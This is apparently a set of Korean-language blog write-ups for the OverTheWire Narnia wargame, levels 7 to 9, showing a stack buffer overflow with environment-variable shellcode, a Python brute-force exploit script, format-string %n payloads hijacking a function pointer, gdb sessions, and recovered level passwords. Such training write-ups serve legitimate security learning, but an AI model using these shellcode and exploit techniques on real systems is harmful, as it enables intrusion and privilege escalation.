narnia9@melinda:~$ ls

CONGRATULATIONS

narnia9@melinda:~$ cat ./CONGRATULATIONS

you are l33t! next plz...


(Please don't post writeups, solutions or spoilers about the games on the web. Thank you!)

narnia9@melinda:~$

'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 9  (0) 2015.07.24
OverTheWire – Narnia Level 8  (0) 2015.07.24
OverTheWire – Narnia Level 7  (0) 2015.01.06
OverTheWire – Narnia Level 6  (0) 2015.01.05
OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
#include <stdio.h>                              
#include <stdlib.h>                             
#include <string.h>                             
// gcc's variable reordering fucked things up   
// to keep the level in its old style i am      
// making "i" global unti i find a fix          
// -morla                                       
int i;                                          
                                                
void func(char *b){                             
        char *blah=b;                           
        char bok[20];                           
        //int i=0;                              
                                                
        memset(bok, '\0', sizeof(bok));         
        for(i=0; blah[i] != '\0'; i++)          
                bok[i]=blah[i];                 
                                                
        printf("%s\n",bok);                     
}                                               
                                                
int main(int argc, char **argv){                
                                                
        if(argc > 1)                            
                func(argv[1]);                  
        else                                    
        printf("%s argument\n", argv[0]);       
                                                
        return 0;                               
}



소스를 보면 argv[1]을 func 함수의 매개변수로 넘기고, argv[1]에 있는 갑을 bok[20]에 null이 나올때까지 복사한다. 이 과정에서 null이 안나오면 bok배열이 넘치게 되고 뒤의 ret를 덮어 씌울 수 있게 된다.

먼저 gdb를 이용하여 메모리를 자세히 보도록 하자.


일단 eggshell을 환경변수에 올린다.

narnia8@melinda:/narnia$ export EGG=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e"')



narnia8@melinda:/narnia$ gdb -q ./narnia8

Reading symbols from ./narnia8...(no debugging symbols found)...done.

(gdb) disas func

...

   0x080484ac <+127>:   leave

   0x080484ad <+128>:   ret

End of assembler dump.

(gdb) br *0x080484ac

Breakpoint 1 at 0x80484ac

(gdb) r $(python -c "print 'A'*20")

Starting program: /games/narnia/narnia8 $(python -c "print 'A'*20")

AAAAAAAAAAAAAAAAAAAA▒▒


Breakpoint 1, 0x080484ac in func ()

(gdb) x/30x $esp

0xffffd630:     0x08048580      0xffffd648      0x00000014      0xf7e55f53

0xffffd640:     0x00000000      0x00ca0000      0x41414141      0x41414141

0xffffd650:     0x41414141      0x41414141      0x41414141      0xffffd871

0xffffd660:     0x00000002      0xffffd724      0xffffd688      0x080484cd

0xffffd670:     0xffffd871      0xf7ffd000      0x080484fb      0xf7fca000

0xffffd680:     0x080484f0      0x00000000      0x00000000      0xf7e3ca63

0xffffd690:     0x00000002      0xffffd724      0xffffd730      0xf7feacea

0xffffd6a0:     0x00000002      0xffffd724




gdb로 스택을 보면, AAAAAA의 뒤에 argv[1]의 주소가 있는 것을 확인 할 수 있다. 이 주소를 그대로 덮어씌우고 뒤의 ret까지 변조하여 덮어 씌우면 exploit이 성공하게 된다.

ret를 변조하기 위해 eggshell의 주소를 찾아보도록 하자.


(gdb) x/10s $esp+560

0xffffd860:     "s/narnia/narnia8"

0xffffd871:     'A' <repeats 20 times>

0xffffd886:     "XDG_SESSION_ID=1143"

0xffffd89a:     "SHELL=/bin/bash"

0xffffd8aa:     "TERM=screen"

0xffffd8b6:     "SSH_CLIENT=203.234.19.105 48554 22"

0xffffd8d9:     "SSH_TTY=/dev/pts/10"

0xffffd8ed:     "LC_ALL=C"

0xffffd8f6:     "EGG=1\300\260F1\333\061\311\315\200\353\026[1\300\210C\017\211[\020\211C

\024\260\v\215K\020\215S\024\315\200\350\345\377\377\377/usr/bin/python"

0xffffd931:     "USER=narnia8"

(gdb) p/x 0xffffd8f6+4

$1 = 0xffffd8fa

(gdb)



eggshell의 주소는 0xffffd8fa임을 확인 할 수 있다. 여기에서 +4를 한 이유는 "EGG="의 바이트 수가 4바이트기 때문에 실제 쉘코드는 4바이트 뒤에 있게 된다.

이제 ret 변조가 가능한지 실행을 해보도록 하자.


(gdb) r $(python -c "print 'A'*20+'\x71\xd8\xff\xff'+'A'*12+'\xfa\xd8\xff\xff'")

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /games/narnia/narnia8 $(python -c "print 'A'*20+'\x71\xd8\xff\xff'+'A'*12+'\xfa\xd8\xff\xff'")

AAAAAAAAAAAAAAAAAAAAqX▒▒


Breakpoint 1, 0x080484ac in func ()

(gdb) x/30x $esp

0xffffd620:     0x08048580      0xffffd638      0x00000014      0xf7e55f53

0xffffd630:     0x00000000      0x00ca0000      0x41414141      0x41414141

0xffffd640:     0x41414141      0x41414141      0x41414141      0xffff5871

0xffffd650:     0x00000002      0xffffd714      0xffffd678      0x080484cd

0xffffd660:     0xffffd85d      0xf7ffd000      0x080484fb      0xf7fca000

0xffffd670:     0x080484f0      0x00000000      0x00000000      0xf7e3ca63

0xffffd680:     0x00000002      0xffffd714      0xffffd720      0xf7feacea

0xffffd690:     0x00000002      0xffffd714

(gdb) 



살펴보면 밑의 argv[1]의 주소와 변조시킨 argv[1] 영역의 주소가 다르다. payload 길이 때문에 값이 달라진 것 같다. 다시 밑에 있는 argv[1]의 주소로 덮어 씌우도록 하자.



(gdb) r $(python -c "print 'A'*20+'\x5d\xd8\xff\xff'+'A'*12+'\xfa\xd8\xff\xff'")

Starting program: /games/narnia/narnia8 $(python -c "print 'A'*20+'\x5d\xd8\xff\xff'+'A'*12+'\xfa\xd8\xff\xff'")

AAAAAAAAAAAAAAAAAAAA]▒AAAAAAAAAAAA▒▒]▒


Breakpoint 1, 0x080484ac in func ()

(gdb) x/50x $esp

0xffffd620:     0x08048580      0xffffd638      0x00000014      0xf7e55f53

0xffffd630:     0x00000000      0x00ca0000      0x41414141      0x41414141

0xffffd640:     0x41414141      0x41414141      0x41414141      0xffffd85d

0xffffd650:     0x41414141      0x41414141      0x41414141      0xffffd8fa

0xffffd660:     0xffffd85d      0xf7ffd000      0x080484fb      0xf7fca000

0xffffd670:     0x080484f0      0x00000000      0x00000000      0xf7e3ca63

0xffffd680:     0x00000002      0xffffd714      0xffffd720      0xf7feacea

0xffffd690:     0x00000002      0xffffd714      0xffffd6b4      0x080497a4

0xffffd6a0:     0x0804820c      0xf7fca000      0x00000000      0x00000000

0xffffd6b0:     0x00000000      0x5b9c05c9      0x63a541d9      0x00000000

0xffffd6c0:     0x00000000      0x00000000      0x00000002      0x08048330

0xffffd6d0:     0x00000000      0xf7ff0500      0xf7e3c979      0xf7ffd000

0xffffd6e0:     0x00000002      0x08048330




스택에서 보다시피 ret를 원하는 주소로 덮어 씌우는 것에 성공했다. 재대로 실행이 되는지 gdb에서 실행해 보도록 하자.


(gdb) disable br 1

(gdb) r $(python -c "print 'A'*20+'\x5d\xd8\xff\xff'+'A'*12+'\xfa\xd8\xff\xff'")

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /games/narnia/narnia8 $(python -c "print 'A'*20+'\x5d\xd8\xff\xff'+'A'*12+'\xfa\xd8\xff\xff'")

AAAAAAAAAAAAAAAAAAAA]▒AAAAAAAAAAAA▒▒]▒

process 538 is executing new program: /usr/bin/python2.7

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Python 2.7.6 (default, Jun 22 2015, 17:58:13)

[GCC 4.8.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> quit()

[Inferior 1 (process 761) exited normally]

(gdb) q



정상적으로 쉘이 획득된 것을 확인 할 수 있다. 하지만 gdb에서는 쉘 획득에 성공해도 권한상승이 되지 않으니 gdb를 종료하고 실행해보도록 하자.


narnia8@melinda:/narnia$ ./narnia8 $(python -c "print 'A'*20+'\x5d\xd8\xff\xff'+'A'*12+'\xfa\xd8\xff\xff'")

AAAAAAAAAAAAAAAAAAAA]A▒▒

narnia8@melinda:/narnia$




하지만, 그새 환경변수 및 argv의 길이차로인해 스택이 또 변경되어 실제 주소가 달라졌다. 이쯤 되면 brueforce 밖에 답이 없다. 소스를 보면 printf("%s\n",bok); 부분이 있다. 즉 bok에 값이 재대로 들어가게 되면, argv[1]의 전체 값을 반환해줘야 한다. 일부분만 반환한다면 그건 exploit이 재대로 실행이 되지 않은 것이라고 할 수 있다. argv[1]을 찾기 위해 python으로 bruteforce 코드를 작성하여 실행해 보도록 하자.



narnia8@melinda:/narnia$ mkdir /tmp/zairo

narnia8@melinda:/narnia$ cd /tmp/zairo

narnia8@melinda:/tmp/zairo$ vi findargv1.py

#!/usr/bin/python
import os
from struct import *
import time

p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]

argv0="/narnia/narnia8"

for i in range(0xD8, 0x00, -1):
        for j in range(0xFF, 0x00, -1):
                argv1="A"*20+chr(j)+chr(i)+'\xff\xff'+"B"*12+"AAAA"
                time.sleep(0.2)
                pid=os.fork()
                if pid==0:
                        print hex(up(chr(j)+chr(i)+"\xff\xff"))
                        os.execv(argv0, [argv0, argv1])
                else:
                        os.waitpid(pid, 0)





narnia8@melinda:/tmp/zairo$ python ./findargv1.py

0xffffd861

AAAAAAAAAAAAAAAAAAAAaB▒▒

0xffffd860

AAAAAAAAAAAAAAAAAAAA`B▒▒

0xffffd85f

0xffffd85e

0xffffd85d

AAAAAAAAAAAAAAAAAAAA]▒BBBBBBBBBBBBAAAA]▒

0xffffd85c

AAAAAAAAAAAAAAAAAAAA\\▒▒

0xffffd85b

AAAAAAAAAAAAAAAAAAAA[A▒▒

0xffffd85a

AAAAAAAAAAAAAAAAAAAAZA▒▒

0xffffd859

AAAAAAAAAAAAAAAAAAAAYA▒▒

0xffffd858

AAAAAAAAAAAAAAAAAAAAXA▒▒

^CTraceback (most recent call last):

  File "./findret.py", line 14, in <module>

    time.sleep(0.2)

KeyboardInterrupt





0xffffd85d 주소에서 argv[1]의 모든 문자열이 출력이 되는 것을 확인 할 수 있다. 즉 0xffffd85d가 argv[1]의 주소라고 할 수 있다. 이제 argv[1]의 주소를 알아냈으니, ret를 bruteforce 하여 쉘코드의 주소로 덮어 씌워보도록 하자.


narnia8@melinda:/tmp/zairo$ vi ./exploit.py

#!/usr/bin/python
import os
from struct import *
import time

p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]

argv0="/narnia/narnia8"

for i in range(0xD8, 0x00, -1):
        for j in range(0xFF, 0x00, -1):
                argv1="A"*20+'\x5d\xd8\xff\xff'+"B"*12+chr(j)+chr(i)+"\xff\xff"
                pid=os.fork()
                if pid==0:
                        print hex(up(chr(j)+chr(i)+"\xff\xff"))
                        os.execv(argv0, [argv0, argv1])
                else:
                        os.waitpid(pid, 0)


narnia8@melinda:/tmp/zairo$ python exploit.py

0xffffd8ff

AAAAAAAAAAAAAAAAAAAA]▒BBBBBBBBBBBB▒▒]▒

Python 2.7.6 (default, Jun 22 2015, 17:58:13)

[GCC 4.8.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> import os

>>> os.system("whoami")

narnia9

0

>>> os.system("cat /etc/narnia_pass/narnia9")

eiL5fealae

0

>>> quit()



'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 9  (0) 2015.07.24
OverTheWire – Narnia Level 8  (0) 2015.07.24
OverTheWire – Narnia Level 7  (0) 2015.01.06
OverTheWire – Narnia Level 6  (0) 2015.01.05
OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
        fflush(stdout);
        system("/bin/sh");

        return 0;
}

이번 문제도 snprintf 함수를 사용하는 것을 보니, 포맷 스트링 문제인 것을 알 수 있다.

ptrf()의 포인터 값을 goodfunction에서 hackfunction으로 변경하면 된다.


narnia7@melinda:/narnia$ gdb narnia7 -q

Reading symbols from narnia7...(no debugging symbols found)...done.

(gdb) disass vuln

Dump of assembler code for function vuln:

   0x080485cd <+0>:     push   %ebp

   0x080485ce <+1>:     mov    %esp,%ebp

   0x080485d0 <+3>:     sub    $0xa8,%esp

   0x080485d6 <+9>:     movl   $0x80,0x8(%esp)

   0x080485de <+17>:    movl   $0x0,0x4(%esp)

   0x080485e6 <+25>:    lea    -0x88(%ebp),%eax

   0x080485ec <+31>:    mov    %eax,(%esp)

   0x080485ef <+34>:    call   0x80484b0 <memset@plt>

   0x080485f4 <+39>:    movl   $0x80486e0,0x4(%esp)

   0x080485fc <+47>:    movl   $0x80487d0,(%esp)

   0x08048603 <+54>:    call   0x8048420 <printf@plt>

   0x08048608 <+59>:    movl   $0x8048706,0x4(%esp)

   0x08048610 <+67>:    movl   $0x80487e5,(%esp)

   0x08048617 <+74>:    call   0x8048420 <printf@plt>

   0x0804861c <+79>:    movl   $0x80486e0,-0x8c(%ebp)

   0x08048626 <+89>:    mov    -0x8c(%ebp),%eax

   0x0804862c <+95>:    lea    -0x8c(%ebp),%edx

   0x08048632 <+101>:   mov    %edx,0x8(%esp)

   0x08048636 <+105>:   mov    %eax,0x4(%esp)

   0x0804863a <+109>:   movl   $0x80487fd,(%esp)

   0x08048641 <+116>:   call   0x8048420 <printf@plt>

   0x08048646 <+121>:   movl   $0x8048818,(%esp)

   0x0804864d <+128>:   call   0x8048450 <puts@plt>

   0x08048652 <+133>:   movl   $0x2,(%esp)

   0x08048659 <+140>:   call   0x8048440 <sleep@plt>

   0x0804865e <+145>:   movl   $0x80486e0,-0x8c(%ebp)

   0x08048668 <+155>:   mov    0x8(%ebp),%eax

   0x0804866b <+158>:   mov    %eax,0x8(%esp)

   0x0804866f <+162>:   movl   $0x80,0x4(%esp)

   0x08048677 <+170>:   lea    -0x88(%ebp),%eax

   0x0804867d <+176>:   mov    %eax,(%esp)

   0x08048680 <+179>:   call   0x80484c0 <snprintf@plt>

   0x08048685 <+184>:   mov    -0x8c(%ebp),%eax

   0x0804868b <+190>:   call   *%eax

   0x0804868d <+192>:   leave

   0x0804868e <+193>:   ret

End of assembler dump.

(gdb) br *0x08048685

Breakpoint 1 at 0x8048685


먼저, snprintf 함수의 바로 다음에 break point를 건다.


(gdb) x/50x $esp

0xffffd610:     0xffffd630      0x00000080      0xffffd8bb      0x08048238

0xffffd620:     0xffffd688      0xf7ffda94      0x00000000      0x080486e0

0xffffd630:     0x41414141      0x00000000      0x00000000      0x00000000

0xffffd640:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd650:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd660:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd670:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd680:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd690:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd6a0:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd6b0:     0x00000002      0xffffd774      0xffffd6d8      0x080486d8

0xffffd6c0:     0xffffd8bb      0xf7ffd000      0x0804874b      0xf7fca000

0xffffd6d0:     0x08048740      0x00000000

(gdb)


스택을 확인해 보면 buffer의 앞쪽에 ptrf() 값을 확인 할 수 있다.


(gdb) r $(python -c 'print "AAAA%x%x%x%x%x%x"' )

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia7 $(python -c 'print "AAAA%x%x%x%x%x%x"' )

goodfunction() = 0x80486e0

hackedfunction() = 0x8048706


before : ptrf() = 0x80486e0 (0xffffd61c)

I guess you want to come to the hackedfunction...


Breakpoint 1, 0x08048685 in vuln ()

(gdb) x/s 0xffffd620

0xffffd620:     "AAAA8048238ffffd678f7ffda94080486e041414141"

(gdb)


스택에서 buffer의 상대적인 거리를 알아보기 위해 %x를 이용하여 스택의 값을 출력해본다. buffer의 위치를 발견했으면 %x를 하나 지우고 %c%n을 써보도록 하자. 참고로 지속적으로 스택의 주소가 바뀌이 이 점을 유의하도록 한다.


(gdb)  r $(python -c 'print "AAAA\x1c\xd6\xff\xff%x%x%x%x%x%c%n"' )

Starting program: /games/narnia/narnia7 $(python -c 'print "AAAA\x1c\xd6\xff\xff%x%x%x%x%x%c%n"' )

goodfunction() = 0x80486e0

hackedfunction() = 0x8048706


before : ptrf() = 0x80486e0 (0xffffd61c)

I guess you want to come to the hackedfunction...


Breakpoint 1, 0x08048685 in vuln ()

(gdb) x/50x $esp

0xffffd600:     0xffffd620      0x00000080      0xffffd8a9      0x08048238

0xffffd610:     0xffffd678      0xf7ffda94      0x00000000      0x00000028

0xffffd620:     0x41414141      0xffffd61c      0x38343038      0x66383332

0xffffd630:     0x64666666      0x66383736      0x64666637      0x30343961

0xffffd640:     0x38343038      0x41306536      0x00000000      0x00000000

0xffffd650:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd660:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd670:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd680:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd690:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd6a0:     0x00000002      0xffffd764      0xffffd6c8      0x080486d8

0xffffd6b0:     0xffffd8a9      0xf7ffd000      0x0804874b      0xf7fca000

0xffffd6c0:     0x08048740      0x00000000

(gdb)


ptrf()의 값이 28로 덮어씌워진 것을 확인 할 수 있다. 그럼 이제 %c의 길이를 늘려 원하는 값으로 변조하면 된다. 16진수 28이 10진수로 40, 그리고 16진수 8706이 34566 이므로 34566-40 = 34526을 쓰도록 한다.


(gdb)  r $(python -c 'print "AAAA\x0c\xd6\xff\xff%x%x%x%x%x%34526c%n"' )

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia7 $(python -c 'print "AAAA\x0c\xd6\xff\xff%x%x%x%x%x%34526c%n"' )

goodfunction() = 0x80486e0

hackedfunction() = 0x8048706


before : ptrf() = 0x80486e0 (0xffffd60c)

I guess you want to come to the hackedfunction...


Breakpoint 1, 0x08048685 in vuln ()

(gdb) x/50x $esp

0xffffd5f0:     0xffffd610      0x00000080      0xffffd8a4      0x08048238

0xffffd600:     0xffffd668      0xf7ffda94      0x00000000      0x00008705

0xffffd610:     0x41414141      0xffffd60c      0x38343038      0x66383332

0xffffd620:     0x64666666      0x66383636      0x64666637      0x30343961

0xffffd630:     0x38343038      0x20306536      0x20202020      0x20202020

0xffffd640:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd650:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd660:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd670:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd680:     0x20202020      0x20202020      0x20202020      0x00202020

0xffffd690:     0x00000002      0xffffd754      0xffffd6b8      0x080486d8

0xffffd6a0:     0xffffd8a4      0xf7ffd000      0x0804874b      0xf7fca000

0xffffd6b0:     0x08048740      0x00000000

(gdb)  r $(python -c 'print "AAAA\x0c\xd6\xff\xff%x%x%x%x%x%34527c%n"' )

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia7 $(python -c 'print "AAAA\x0c\xd6\xff\xff%x%x%x%x%x%34527c%n"' )

goodfunction() = 0x80486e0

hackedfunction() = 0x8048706


before : ptrf() = 0x80486e0 (0xffffd60c)

I guess you want to come to the hackedfunction...


Breakpoint 1, 0x08048685 in vuln ()

(gdb) x/50x $esp

0xffffd5f0:     0xffffd610      0x00000080      0xffffd8a4      0x08048238

0xffffd600:     0xffffd668      0xf7ffda94      0x00000000      0x00008706

0xffffd610:     0x41414141      0xffffd60c      0x38343038      0x66383332

0xffffd620:     0x64666666      0x66383636      0x64666637      0x30343961

0xffffd630:     0x38343038      0x20306536      0x20202020      0x20202020

0xffffd640:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd650:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd660:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd670:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd680:     0x20202020      0x20202020      0x20202020      0x00202020

0xffffd690:     0x00000002      0xffffd754      0xffffd6b8      0x080486d8

0xffffd6a0:     0xffffd8a4      0xf7ffd000      0x0804874b      0xf7fca000

0xffffd6b0:     0x08048740      0x00000000

(gdb)


엥? 1이 빈다.. 필자도 이건 자세히 모르기 때문에, 훗날 알게되면 수정하도록 하겠다.

어쨋든, 스택에 원하는 값을 덮어쓴것을 확인 할 수 있다. 4바이트를 다 덮어버리면 좋겠지만 컴퓨터는 그렇게 큰 값을 덮어씌우지 못하기 때문에 2바이트씩 덮어씌운다. 이제 나머지 부분을 덮어 쓸 차례다.


(gdb)  r $(python -c 'print "AAAA\x0c\xd6\xff\xffAAAA\x0e\xd6\xff\xff%x%x%x%x%x%34519c%n%c%n"' )

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia7 $(python -c 'print "AAAA\x0c\xd6\xff\xffAAAA\x0e\xd6\xff\xff%x%x%x%x%x%34519c%n%c%n"' )

goodfunction() = 0x80486e0

hackedfunction() = 0x8048706


before : ptrf() = 0x80486e0 (0xffffd60c)

I guess you want to come to the hackedfunction...


Breakpoint 1, 0x08048685 in vuln ()

(gdb) x/50x $esp

0xffffd5f0:     0xffffd610      0x00000080      0xffffd898      0x08048238

0xffffd600:     0xffffd668      0xf7ffda94      0x00000000      0x87078706

0xffffd610:     0x41410000      0xffffd60c      0x41414141      0xffffd60e

0xffffd620:     0x38343038      0x66383332      0x64666666      0x66383636

0xffffd630:     0x64666637      0x30343961      0x38343038      0x20306536

0xffffd640:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd650:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd660:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd670:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd680:     0x20202020      0x20202020      0x20202020      0x00202020

0xffffd690:     0x00000002      0xffffd754      0xffffd6b8      0x080486d8

0xffffd6a0:     0xffffd898      0xf7ffd000      0x0804874b      0xf7fca000

0xffffd6b0:     0x08048740      0x00000000

(gdb)


8706의 바로 다음 값인 8707이 덮어 씌워진 것을 확인 할 수 있다. 이제 원하는 값으로 변조해보자.

10804 - 8707 = 80FD이므로, 80FD = 33021. 즉 33021로 덮어씌우면 된다.


(gdb)  r $(python -c 'print "AAAA\xfc\xd5\xff\xffAAAA\xfe\xd5\xff\xff%x%x%x%x%x%34519c%n%33021c%n"' )

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia7 $(python -c 'print "AAAA\xfc\xd5\xff\xffAAAA\xfe\xd5\xff\xff%x%x%x%x%x%34519c%n%33021c%n"' )

goodfunction() = 0x80486e0

hackedfunction() = 0x8048706


before : ptrf() = 0x80486e0 (0xffffd5fc)

I guess you want to come to the hackedfunction...


Breakpoint 1, 0x08048685 in vuln ()

(gdb) x/50x $esp

0xffffd5e0:     0xffffd600      0x00000080      0xffffd893      0x08048238

0xffffd5f0:     0xffffd658      0xf7ffda94      0x00000000      0x08038706

0xffffd600:     0x41410001      0xffffd5fc      0x41414141      0xffffd5fe

0xffffd610:     0x38343038      0x66383332      0x64666666      0x66383536

0xffffd620:     0x64666637      0x30343961      0x38343038      0x20306536

0xffffd630:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd640:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd650:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd660:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd670:     0x20202020      0x20202020      0x20202020      0x00202020

0xffffd680:     0x00000002      0xffffd744      0xffffd6a8      0x080486d8

0xffffd690:     0xffffd893      0xf7ffd000      0x0804874b      0xf7fca000

0xffffd6a0:     0x08048740      0x00000000

(gdb)  r $(python -c 'print "AAAA\xfc\xd5\xff\xffAAAA\xfe\xd5\xff\xff%x%x%x%x%x%34519c%n%33022c%n"' )

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia7 $(python -c 'print "AAAA\xfc\xd5\xff\xffAAAA\xfe\xd5\xff\xff%x%x%x%x%x%34519c%n%33022c%n"' )

goodfunction() = 0x80486e0

hackedfunction() = 0x8048706


before : ptrf() = 0x80486e0 (0xffffd5fc)

I guess you want to come to the hackedfunction...


Breakpoint 1, 0x08048685 in vuln ()

(gdb) x/50x $esp

0xffffd5e0:     0xffffd600      0x00000080      0xffffd893      0x08048238

0xffffd5f0:     0xffffd658      0xf7ffda94      0x00000000      0x08048706

0xffffd600:     0x41410001      0xffffd5fc      0x41414141      0xffffd5fe

0xffffd610:     0x38343038      0x66383332      0x64666666      0x66383536

0xffffd620:     0x64666637      0x30343961      0x38343038      0x20306536

0xffffd630:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd640:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd650:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd660:     0x20202020      0x20202020      0x20202020      0x20202020

0xffffd670:     0x20202020      0x20202020      0x20202020      0x00202020

0xffffd680:     0x00000002      0xffffd744      0xffffd6a8      0x080486d8

0xffffd690:     0xffffd893      0xf7ffd000      0x0804874b      0xf7fca000

0xffffd6a0:     0x08048740      0x00000000

(gdb)


이것도 마찬가지로 1이 빈다.. 이 이유를 알게 되면 바로 수정하도록 하겠다. 이제 ptrf()의 값을 원하는 값으로 덮어 씌웠으므로 exploit이 성공적으로 수행된다.


(gdb) c

Continuing.

Way to go!!!!$ exit

[Inferior 1 (process 16446) exited normally]

(gdb) quit

narnia7@melinda:/narnia$ ./narnia7 $(python -c 'print "AAAA\xfc\xd5\xff\xffAAAA\xfe\xd5\xff\xff%x%x%x%x%x%34519c%n%33022c%n"' )

goodfunction() = 0x80486e0

hackedfunction() = 0x8048706


before : ptrf() = 0x80486e0 (0xffffd61c)

I guess you want to come to the hackedfunction...

Way to go!!!!$ cat /etc/narnia_pass/narnia8

mohthuphog

$


'Challenge > OverTheWire - Narnia' 카테고리의 다른 글

OverTheWire – Narnia Level 9  (0) 2015.07.24
OverTheWire – Narnia Level 8  (0) 2015.07.24
OverTheWire – Narnia Level 7  (0) 2015.01.06
OverTheWire – Narnia Level 6  (0) 2015.01.05
OverTheWire – Narnia Level 5  (0) 2015.01.05
OverTheWire – Narnia Level 4  (0) 2015.01.01
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
        char b1[8], b2[8];
        int  (*fp)(char *)=(int(*)(char *))&puts, i;

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        //if(((unsigned long)fp & 0xff000000) == 0xff000000)
        if(((unsigned long)fp & 0xff000000) == get_sp())
                exit(-1);
        fp(b1);

        exit(1);
}

이번 문제는 argv[3]~, 환경변수 등을 다 지운다. 또한 fp를 스택영역으로 덮어쓰면 exit(-1)로 강제종료 시킨다.

소스를 보면 argv[1]의 값을 b1에, argv[2]의 값을 b2에 strcpy 함수를 이용해 복사한 후 b1의 값을 fp 포인터를 이용하여 puts 함수의 인자로 넘겨 출력하는 형태이다.


narnia6@melinda:/narnia$ gdb ./narnia6 -q

Reading symbols from ./narnia6...(no debugging symbols found)...done.

(gdb) disass main

Dump of assembler code for function main:

   0x08048559 <+0>:     push   %ebp

   0x0804855a <+1>:     mov    %esp,%ebp

   0x0804855c <+3>:     push   %ebx

   0x0804855d <+4>:     and    $0xfffffff0,%esp

   0x08048560 <+7>:     sub    $0x30,%esp

   0x08048563 <+10>:    movl   $0x80483f0,0x28(%esp)

   0x0804856b <+18>:    cmpl   $0x3,0x8(%ebp)

   0x0804856f <+22>:    je     0x8048592 <main+57>

   0x08048571 <+24>:    mov    0xc(%ebp),%eax

   0x08048574 <+27>:    mov    (%eax),%eax

   0x08048576 <+29>:    mov    %eax,0x4(%esp)

   0x0804857a <+33>:    movl   $0x8048750,(%esp)

   0x08048581 <+40>:    call   0x80483d0 <printf@plt>

   0x08048586 <+45>:    movl   $0xffffffff,(%esp)

   0x0804858d <+52>:    call   0x8048410 <exit@plt>

   0x08048592 <+57>:    movl   $0x0,0x2c(%esp)

   0x0804859a <+65>:    jmp    0x80485de <main+133>

   0x0804859c <+67>:    mov    0x80499a0,%eax

   0x080485a1 <+72>:    mov    0x2c(%esp),%edx

   0x080485a5 <+76>:    shl    $0x2,%edx

